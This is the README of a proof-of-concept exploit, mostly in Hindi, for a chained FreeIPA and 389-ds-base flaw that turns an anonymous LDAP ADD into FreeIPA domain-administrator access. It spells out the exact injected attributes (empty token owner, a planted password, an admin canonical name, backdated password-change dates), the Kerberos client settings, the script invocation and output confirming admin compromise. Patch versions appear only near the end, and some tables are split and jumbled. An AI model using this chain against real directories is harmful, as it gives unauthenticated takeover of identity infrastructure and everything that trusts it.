
CVE-2026-76578 और CVE-2026-76560 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो FreeIPA डोमेन एडमिन अधिकार प्राप्त करने के लिए अनाम LDAP ADD को 389-ds SELFDN बायपास के साथ चेन करता है।
उत्पाद: FreeIPA 4.9.x – 4.13.3
गंभीरता: क्रिटिकल (CVSS 9.8)
ठीक किया गया: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
यह प्रूफ-ऑफ-कॉन्सेप्ट विशेष रूप से एक पृथक, निजी स्वामित्व वाले लैब वातावरण के भीतर अधिकृत सुरक्षा अनुसंधान और भेद्यता सत्यापन के उद्देश्य से विकसित और निष्पादित किया गया था।
इस स्क्रिप्ट का उपयोग करने से पहले:
लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। यह कोड केवल रक्षात्मक अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण के लिए प्रदान किया गया है।
पोर्टेबिलिटी पर नोट: यह स्क्रिप्ट नीचे दिए गए Test Environment अनुभाग में सूचीबद्ध विशिष्ट पैकेज संस्करणों के विरुद्ध मान्य की गई थी। अन्य OS संस्करणों, पैच स्तरों, या गैर-डिफ़ॉल्ट FreeIPA कॉन्फ़िगरेशन पर व्यवहार भिन्न हो सकता है। उत्पादन लक्ष्य के बारे में निष्कर्ष निकालने से पहले हमेशा एक नियंत्रित वातावरण में परिणामों को स्वतंत्र रूप से सत्यापित करें।
| पैरामीटर | मान |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domain | test.local |
| Server IP | 192.168.1.11 |
| Hostname | ipa-master.test.local |
| Attack host | Kali Linux (external, no domain membership) |
एक अनामिक LDAP क्लाइंट cn=otp के अंतर्गत एक OTP टोकन प्रविष्टि जोड़ सकता है और
पूर्ण FreeIPA डोमेन एडमिनिस्ट्रेटर अधिकार प्राप्त कर सकता है। दो दोष मिलकर काम करते हैं:
CVE-2026-76578 (FreeIPA) — OTP ADD ACI में कोई targetattr प्रतिबंध नहीं है,
इसलिए अनामिक ADD किसी भी एट्रिब्यूट को शामिल कर सकता है: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, आदि।
CVE-2026-76560 (389-ds-base) — SELFDN मूल्यांकनकर्ता "" (खाली स्ट्रिंग) को
अनामिक बाइंड DN से मेल खाता हुआ मानता है, जिससे ipatokenOwner#SELFDN
स्वामित्व जाँच बायपास हो जाती है।
महत्वपूर्ण अंतर्दृष्टि — कोई पूर्व-कैप्चर किया गया ब्लॉब नहीं, कोई मास्टर कुंजी एक्सेस आवश्यक नहीं:
प्रविष्टि में objectClass: inetOrgPerson + userPassword जोड़ने से
389-DS ipapwd प्लगइन ट्रिगर होता है जो स्वचालित रूप से सर्वर-साइड पर krbPrincipalKey
उत्पन्न करता है, इसे लक्ष्य realm की krbMKey से एन्क्रिप्ट करता है। हमलावर एक
प्लेनटेक्स्ट पासवर्ड प्रदान करता है; सर्वर आंतरिक रूप से Kerberos कुंजी प्राप्त करता है।
उसी ADD में krbLastPwdChange: 20200101000000Z (पिछली तारीख) सेट करने से
krbMinPwdLife नीति बायपास हो जाती है जो अन्यथा kinit सफल होने से पहले
इंटरैक्टिव पासवर्ड परिवर्तन की आवश्यकता होती।
| CVE | घटक | विवरण |
|---|---|---|
| CVE-2026-76578 | FreeIPA | OTP ACI में targetattr का अभाव — कोई भी एट्रिब्यूट अनामिक ADD से गुजरता है |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — Level 3 के लिए canonicalize = true आवश्यक:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey लक्ष्य की krbMKey (मास्टर कुंजी) से एन्क्रिप्ट किया जाता है।
मास्टर कुंजी LDAP में cn=REALM,cn=kerberos पर संग्रहीत होती है और केवल
Directory Manager द्वारा पढ़ी जा सकती है — अनामिक रूप से नहीं, GSSAPI के माध्यम से uid=admin द्वारा भी नहीं।
मास्टर कुंजी के बिना सीधे krbPrincipalKey इंजेक्ट करना असंभव है।
userPassword इंजेक्ट करना कुंजी निर्माण को सर्वर के ipapwd
प्लगइन को सौंप देता है, जिसके पास krbMKey तक आंतरिक पहुँच होती है और यह एन्क्रिप्शन
पारदर्शी रूप से करता है। ACI (CVE-2026-76578) userPassword को बिना किसी
targetattr जाँच के गुजरने देता है।
kerberos uniqueness प्लगइन पूरे suffix में krbPrincipalName और
krbPrincipalAlias पर विशिष्टता लागू करता है, लेकिन krbCanonicalName पर नहीं।
cn=otp में krbCanonicalName: admin@REALM के साथ एक नई प्रविष्टि वास्तविक
admin प्रिंसिपल से टकराती नहीं है।
क्लाइंट पर canonicalize = true के साथ, kinit attacker@REALM प्रविष्टि को
krbPrincipalName द्वारा प्राप्त करता है, लेकिन KDC TGT को
cname = krbCanonicalName = admin@REALM के साथ जारी करता है। GSSAPI इसे वास्तविक
uid=admin DN पर हल करता है — जो पहले से ही cn=admins का वैध सदस्य है। कोई समूह
संशोधन नहीं किया जाता।
जब userPassword जोड़ा जाता है, तो ipapwd krbPasswordExpiration को अभी
(समाप्त) और krbLastPwdChange को अभी पर सेट करता है। डिफ़ॉल्ट krbMinPwdLife = 3600s के साथ,
kinit TGT जारी करने से पहले पासवर्ड परिवर्तन के लिए संकेत देगा।
मूल ADD में krbLastPwdChange: 20200101000000Z सेट करना प्लगइन मान को
छह साल पहले ओवरराइड करता है, जिससे न्यूनतम जीवनकाल जाँच संतुष्ट होती है।
krbPasswordExpiration: 20990101000000Z समाप्ति संकेत को रोकता है। दोनों
एट्रिब्यूट स्वीकार किए जाते हैं क्योंकि OTP ACI में कोई targetattr प्रतिबंध नहीं है।
एक नए VM पर भेद्य FreeIPA इंस्टेंस तैनात करने के लिए:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 OTP ACI में एक स्पष्ट targetattr अनुमति-सूची जोड़ता है, जो
userPassword, krbPrincipalAux, krbPrincipalKey, और
krbCanonicalName के अनामिक इंजेक्शन को अवरुद्ध करता है।
389-ds-base 3.2.0-10.el10_2 SELFDN मूल्यांकनकर्ता को सुधारता है ताकि अनामिक बाइंड के लिए
"" को मेल खाते DN के रूप में अस्वीकार करे।
दोनों फिक्स स्वतंत्र रूप से आवश्यक हैं — अकेले कोई भी हमला सतह को कम करता है लेकिन समाप्त नहीं करता।
| 389-ds-base |
SELFDN मूल्यांकनकर्ता "" को अनामिक बाइंड DN के रूप में स्वीकार करता है |
| घटक | भेद्य | ठीक किया गया |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < patched build | see corresponding advisory |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | not patched at time of testing |